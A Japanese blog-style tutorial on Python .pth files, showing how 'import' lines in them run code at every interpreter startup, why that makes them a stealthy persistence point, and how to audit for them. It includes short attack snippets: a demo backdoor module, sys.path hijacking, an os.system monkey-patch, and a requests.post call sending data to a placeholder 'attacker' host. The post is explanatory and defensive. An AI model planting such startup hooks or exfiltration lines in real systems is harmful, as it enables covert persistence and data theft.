はじめに
Python の .pthファイル は、本来は importパスを追加するための仕組みです。
しかし実はこの .pth、
「Python起動時にコードを実行できる」 という特性を持っています。
つまり
静かに仕込める“永続化ポイント(Persistence)”
本記事では、
-
.pthの仕組み - なぜ危険なのか
- 実際に何が起きるのか
- 防御・検知のポイント
を整理します。
.pthファイルとは
Python起動時に sys.path を自動で拡張できる
つまり:
- importパスを増やせる
- 再インストール不要でローカルコードを読み込める
- 環境ごとにカスタマイズできる
基本の使い方
Step ① .pth を置く場所
まずここが超重要
python -m site
出力例:
.../lib/python3.11/site-packages
この site-packages に置く
Step ② .pthファイルを作る
例えば:
my_paths.pth
中身:
/Users/anna/dev/my_project
これで:
import auto_paths_test
auto_paths_test.py
print("This is my paths")
ができるようになる(インストールなし)
実務でよくある使い方
ケース1:ローカル開発(最強パターン)
/Users/anna/projects/common_lib
複数プロジェクトから共有
from common_lib.utils import xxx
→ pip install 不要、即反映
ケース2:モノレポ開発
../packages/core
../packages/utils
monorepo構成で超便利
ケース3:チーム共有
/opt/company_libs
全員同じimportパス
本当の問題はここ
.pth には「パス」だけでなく、
import で始まる行を書くことができます
import auto_paths_test
これが Python起動時に自動実行される
実行タイミング
ポイント:
- Python起動するだけで実行
- importしなくても実行
- ユーザーは気づかない
なぜ危険なのか
1. 完全にステルス
- 見た目はただのテキストファイル
- ログにも残りにくい
- 誰もチェックしない
気づかれない
2. 実行トリガーが広すぎる
.pth は
- Pythonスクリプト
- pip
- Jupyter
- CLIツール
Pythonを使うすべての場面で発動
3. 仮想環境にも入り込む
venv/
└── site-packages/
└── evil.pth
環境ごとに感染可能
4. import不要で実行される
通常:
import backdoor
書かないと実行されない
でも .pthで:
import backdoor
こう書いて
勝手に実行される
実際の挙動を確認
① ファイル作成
# backdoor.py
print(" Backdoor executed")
② .pth に仕込む
import backdoor
③ Python起動
python
Backdoor executed
importしてないのに実行
さらに危険なパターン
環境改ざん
import sys
sys.path.insert(0, "/malicious")
importの優先順位を乗っ取る
monkey patch
import os
os.system = lambda x: print("blocked")
標準ライブラリ改ざん
データ送信
import requests
requests.post("http://attacker", data="info")
情報漏洩
攻撃視点まとめ
.pth は
Python版の「スタートアップフォルダ」
| 特徴 | 内容 |
|---|---|
| 自動実行 | Python起動時 |
| ステルス性 | 高い |
| 権限 | 実行ユーザー |
| 対象範囲 | 全Pythonプロセス |
防御・検知ポイント
① site-packages を監査
find . -name "*.pth"
不明な .pth を確認
② 中身を見る
import xxxx
これがあれば要注意
③ sys.path をチェック
import sys
print(sys.path)
見覚えのないパス
④ verbose モード
python -v
.pth 読み込みログ確認
まとめ
.pthファイル は便利ですが、その本質は
Python起動時にコードを実行できる仕組み
つまり:
見えない実行ポイント(Persistence)